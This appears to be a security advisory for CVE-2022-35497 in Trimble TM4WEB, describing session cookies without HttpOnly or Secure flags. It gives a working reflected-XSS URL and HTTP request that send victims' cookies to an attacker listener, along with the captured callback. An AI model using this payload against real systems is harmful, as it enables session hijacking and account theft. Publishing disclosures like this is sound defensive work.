pn-tester/cve-2022-35497TM4WEB Vulnerability - CVE-2022-35497
In Trimble's TM4WEB <=22.2.0 due to security misconfiguration with session identifiers, it is possible to recover valid session cookies via reflected cross-site scripting affecting the external document viewer endpoint.
Specifically, the three cookies used for maintaining sessions are UID, rstring, and PHPSESSIONID, none of which have the appropriate HttpOnly flag to prevent recovery from JavaScript execution vectors.
Step 1 :
Attacker leverages reflected cross-site scripting vulnerability CVE-2022-35499 to obtain session cookies of authenticated victim.
Attackers starts a listener on an arbitrary port of an internet facing server that can receive HTTP requests. This can be accomplished with a service like requestbin, or else by simply starting a netcat listener on an arbitrary port.
The example URL leverages the referenced XSS CVE-2022-35499 to perform a session hijacking attack on authenticated user and sends the victims sesssion cookies to attacker controlled server
(represented by x.x.x.x instead of our IP address in the example) on port 13337
Example malicious URL using non-existing site:
https://example.tm4web.com/trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!--
This vulnerability is only possible because the session identifiers are not adequately protected against this type of attack.
The three cookies in use for maintaining sessions are :
UID
rstring
PHPSESSIONID
None of these cookies is configured with the HttpOnly flag. This configuration option would prevent the cookie values from being accessible from a JavaScript context.
Similarly, these cookies should also have the SECURE flag enabled, which prevents them from being transmitted over an unencrypted channel.
The malicious GET request used to perform the attack is shown below, with the attacker server IP omitted and replaced by x.x.x.x
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!-- HTTP/1.1
Host: example-tm4web.com
Cookie: uid=BELLTESTUSER; rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ; PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc
The resultant callback request which the attacker receives on their server is shown below, revealing the victim's session cookies appended to the ?c parameter.
GET /foo.txt?c=uid=BELLTESTUSER;%20rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ;%20PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc HTTP/1.1
Host: x.x.x.x:13337
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
IMPACT : authenticated users can have their session and user accounts hijacked by attackers leveraging reflected XSS vulnerability from unauthenticated attack position.
